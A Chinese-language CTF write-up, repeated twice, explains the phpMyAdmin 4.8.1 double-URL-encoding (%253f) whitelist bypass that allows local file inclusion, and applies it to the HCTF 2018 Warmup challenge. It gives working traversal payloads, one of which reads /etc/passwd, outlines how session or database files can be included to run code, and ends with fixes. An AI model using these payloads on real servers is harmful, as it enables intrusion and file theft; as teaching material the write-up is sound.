从phpMyAdmin 4.8.1漏洞到CTF实战双重编码的艺术与Flag捕获当你在CTF赛场上遇到一个只显示滑稽笑脸的Web题目时千万别被表象迷惑。这背后往往隐藏着需要抽丝剥茧的安全漏洞。本文将带你深入phpMyAdmin 4.8.1那个经典的文件包含漏洞并还原如何将其利用技巧迁移到HCTF 2018 Warmup赛题的完整解题过程。1. 漏洞原理深度解析phpMyAdmin 4.8.1版本中存在一个精妙的白名单绕过漏洞核心问题出在checkPageValidity()函数对输入参数的处理逻辑上。这个函数本应确保只有白名单内的文件才能被包含但由于双重URL解码的特殊处理防线被轻易突破。1.1 关键代码审计要点在Core.php文件中checkPageValidity()函数会进行三次检查直接白名单检查检查$page是否直接存在于$white_list数组中单次解码检查对$page进行mb_substr()和mb_strpos()处理后检查双重解码检查先对$page进行urldecode()再进行与2相同的处理正是这第三个检查分支埋下了漏洞的种子。当服务器自动解码一次URL编码代码又手动解码一次时就形成了双重解码效果。这意味着// 原始输入%253f (即?的双重编码) // 第一次解码服务器自动%253f → %3f // 第二次解码urldecode函数%3f → ?1.2 漏洞触发条件要成功利用这个漏洞需要同时满足多个条件输入的target参数不能为空且必须是字符串不能以index开头不在$target_blacklist数组中如import.php, export.php通过checkPageValidity()检查通过精心构造的payload我们可以让检查函数返回true同时实际包含时却解析出完全不同的路径。2. 本地环境漏洞复现为了更好地理解漏洞我们先在本地环境进行复现。使用phpStudy搭建测试环境配置phpMyAdmin 4.8.1版本。2.1 基础环境搭建组件版本选择PHP 5.6/7.0与漏洞版本兼容MySQL 5.7Apache/Nginx常见问题解决# 修改blowfish_secret配置 vim phpMyAdmin/libraries/config.default.php将$cfg[blowfish_secret]设置为足够长度的随机字符串。2.2 两种经典利用方式2.2.1 任意文件包含构造特殊的路径穿越payloadhttp://localhost/phpMyAdmin/index.php?targetdb_datadict.php%253f/../../../../../../etc/passwd这个payload的妙处在于db_datadict.php在白名单中%253f解码后成为?使得后续路径被解析为参数路径穿越符号../带我们跳出限制目录2.2.2 任意代码执行更危险的是这个漏洞还能导致代码执行通过数据库文件创建一个包含PHP代码的数据库表查找对应的.MYD文件路径包含该文件执行代码通过session文件SELECT ?php phpinfo();?生成session后包含session文件即可执行代码。3. CTF实战HCTF 2018 Warmup现在我们将这套技术迁移到真实CTF赛题中。题目初始界面只有一个笑脸但查看源码会发现提示!-- source.php --3.1 代码审计过程访问source.php后我们得到以下关键代码?php highlight_file(__FILE__); class emmm { public static function checkFile($page) { $whitelist [sourcesource.php,hinthint.php]; // ...检查逻辑... if (isset($page) is_string($page)) { if (in_array($page, $whitelist)) { return true; } $_page mb_substr($page, 0, mb_strpos($page.?, ?)); if (in_array($_page, $whitelist)) { return true; } $_page urldecode($page); $_page mb_substr($_page, 0, mb_strpos($_page.?, ?)); if (in_array($_page, $whitelist)) { return true; } } return false; } }这段代码与phpMyAdmin漏洞如出一辙同样存在三重检查包括双重解码的可能性。3.2 构造利用payload根据hint.php的提示flag位于ffffllllaaaagggg文件中。我们需要以白名单文件source.php作为基础使用双重编码的?字符%253f添加足够的../跳出目录最终指向目标文件完整payload如下http://target.com/source.php?filesource.php%253f/../../../../../ffffllllaaaagggg这个payload会经历以下解析过程初始参数filesource.php%253f/../../../../../ffffllllaaaagggg服务器解码filesource.php%3f/../../../../../ffffllllaaaagggg代码urldecodefilesource.php?/../../../../../ffffllllaaaagggg检查时取问号前部分source.php在白名单中实际包含时解析完整路径通过../跳转目录4. 防御方案与思考这个漏洞教会我们几个重要的安全准则路径检查应该在规范化之后进行$page realpath(urldecode($page)); // 然后再进行白名单检查避免多重解码// 明确只解码一次 $page urldecode($_GET[page]);使用绝对路径限制if (strpos($page, /) ! false || strpos($page, \\) ! false) { die(Invalid path); }在CTF比赛中这类题目考察的是选手将已知漏洞特征迁移到新场景的能力。当你看到类似的白名单检查双重解码逻辑时phpMyAdmin这个案例就能成为你的解题钥匙。
从phpMyAdmin 4.8.1漏洞到实战:我是如何用它在CTF赛题(HCTF Warmup)里快速拿Flag的
从phpMyAdmin 4.8.1漏洞到CTF实战双重编码的艺术与Flag捕获当你在CTF赛场上遇到一个只显示滑稽笑脸的Web题目时千万别被表象迷惑。这背后往往隐藏着需要抽丝剥茧的安全漏洞。本文将带你深入phpMyAdmin 4.8.1那个经典的文件包含漏洞并还原如何将其利用技巧迁移到HCTF 2018 Warmup赛题的完整解题过程。1. 漏洞原理深度解析phpMyAdmin 4.8.1版本中存在一个精妙的白名单绕过漏洞核心问题出在checkPageValidity()函数对输入参数的处理逻辑上。这个函数本应确保只有白名单内的文件才能被包含但由于双重URL解码的特殊处理防线被轻易突破。1.1 关键代码审计要点在Core.php文件中checkPageValidity()函数会进行三次检查直接白名单检查检查$page是否直接存在于$white_list数组中单次解码检查对$page进行mb_substr()和mb_strpos()处理后检查双重解码检查先对$page进行urldecode()再进行与2相同的处理正是这第三个检查分支埋下了漏洞的种子。当服务器自动解码一次URL编码代码又手动解码一次时就形成了双重解码效果。这意味着// 原始输入%253f (即?的双重编码) // 第一次解码服务器自动%253f → %3f // 第二次解码urldecode函数%3f → ?1.2 漏洞触发条件要成功利用这个漏洞需要同时满足多个条件输入的target参数不能为空且必须是字符串不能以index开头不在$target_blacklist数组中如import.php, export.php通过checkPageValidity()检查通过精心构造的payload我们可以让检查函数返回true同时实际包含时却解析出完全不同的路径。2. 本地环境漏洞复现为了更好地理解漏洞我们先在本地环境进行复现。使用phpStudy搭建测试环境配置phpMyAdmin 4.8.1版本。2.1 基础环境搭建组件版本选择PHP 5.6/7.0与漏洞版本兼容MySQL 5.7Apache/Nginx常见问题解决# 修改blowfish_secret配置 vim phpMyAdmin/libraries/config.default.php将$cfg[blowfish_secret]设置为足够长度的随机字符串。2.2 两种经典利用方式2.2.1 任意文件包含构造特殊的路径穿越payloadhttp://localhost/phpMyAdmin/index.php?targetdb_datadict.php%253f/../../../../../../etc/passwd这个payload的妙处在于db_datadict.php在白名单中%253f解码后成为?使得后续路径被解析为参数路径穿越符号../带我们跳出限制目录2.2.2 任意代码执行更危险的是这个漏洞还能导致代码执行通过数据库文件创建一个包含PHP代码的数据库表查找对应的.MYD文件路径包含该文件执行代码通过session文件SELECT ?php phpinfo();?生成session后包含session文件即可执行代码。3. CTF实战HCTF 2018 Warmup现在我们将这套技术迁移到真实CTF赛题中。题目初始界面只有一个笑脸但查看源码会发现提示!-- source.php --3.1 代码审计过程访问source.php后我们得到以下关键代码?php highlight_file(__FILE__); class emmm { public static function checkFile($page) { $whitelist [sourcesource.php,hinthint.php]; // ...检查逻辑... if (isset($page) is_string($page)) { if (in_array($page, $whitelist)) { return true; } $_page mb_substr($page, 0, mb_strpos($page.?, ?)); if (in_array($_page, $whitelist)) { return true; } $_page urldecode($page); $_page mb_substr($_page, 0, mb_strpos($_page.?, ?)); if (in_array($_page, $whitelist)) { return true; } } return false; } }这段代码与phpMyAdmin漏洞如出一辙同样存在三重检查包括双重解码的可能性。3.2 构造利用payload根据hint.php的提示flag位于ffffllllaaaagggg文件中。我们需要以白名单文件source.php作为基础使用双重编码的?字符%253f添加足够的../跳出目录最终指向目标文件完整payload如下http://target.com/source.php?filesource.php%253f/../../../../../ffffllllaaaagggg这个payload会经历以下解析过程初始参数filesource.php%253f/../../../../../ffffllllaaaagggg服务器解码filesource.php%3f/../../../../../ffffllllaaaagggg代码urldecodefilesource.php?/../../../../../ffffllllaaaagggg检查时取问号前部分source.php在白名单中实际包含时解析完整路径通过../跳转目录4. 防御方案与思考这个漏洞教会我们几个重要的安全准则路径检查应该在规范化之后进行$page realpath(urldecode($page)); // 然后再进行白名单检查避免多重解码// 明确只解码一次 $page urldecode($_GET[page]);使用绝对路径限制if (strpos($page, /) ! false || strpos($page, \\) ! false) { die(Invalid path); }在CTF比赛中这类题目考察的是选手将已知漏洞特征迁移到新场景的能力。当你看到类似的白名单检查双重解码逻辑时phpMyAdmin这个案例就能成为你的解题钥匙。